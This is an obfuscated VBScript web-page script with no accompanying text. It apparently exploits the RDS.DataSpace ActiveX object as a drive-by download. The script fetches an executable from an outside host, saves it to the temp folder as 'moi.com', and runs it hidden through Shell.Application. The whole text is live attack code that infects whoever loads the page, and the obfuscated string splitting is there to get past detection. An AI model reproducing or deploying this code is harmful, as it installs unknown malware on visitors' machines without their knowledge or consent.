<script language="VBScript">
    on error resume next
    Set dfile = document.createElement("ob"&fgfg454ddd&"ject")
    dfile.setAttribute "cla"&Q52fg&"ssid", "cls"&fgfg454&"id:B"&fg725fg&"D96C"&fgfg454&"556-"&fQ6ff&"65A3"&fgfg454&"-11"&fg12525&"D0-9"&fgfg454&"83A-"&fgfg454&"00C0"&fgfg454&"4F"&fgfg454&"C29"&fgfg454&"E36"
    Set http = dfile.CreateObject("Micro"&fgfg454&"sof"&fgfg454&"t.X"&F4sdTRhh&"ML"&fgfg454&"H"&"T"&fgfg454&"TP","")
    set strm = dfile.createobject("Ad"&fgfg454&"od"&sdf33&"b."&F4sdTRhh&"Str"&"eam","")
    strm.type = 1
    http.Open "G"&fgfg454&"ET", "htt"&fgfg454&"p://"&fgfg454&"www.cn-c"&fgfg454&"all."&fgfg454&"com/gm"&fgfg454&"sex"&fgfg454&"."&fgfg454&"exe", False
    http.Send
    set fso = dfile.createobject("Scri"&fdsfsdf&"ptin"&fgfg454&"g.Fil"&"eSy"&fgfg454&"st"&"emO"&fgfg454&"bject","")
    set temp = fso.GetSpecialFolder(2) 
    filename= fso.BuildPath(temp,"mo"&fgfg454&"i.c"&fgfg454&"om")
    strm.open
    strm.write http.responseBody
    strm.savetofile filename,2
    strm.close
    set exc = dfile.createobject("She"&fgfg454&"ll."&F4sdTRhh&"App"&fgfg454&"lic"&gfgfdf&"ati"&fgfg454&"on","")
    str4="open"
    exc.ShellExecute filename,"","",str4,0
 </script>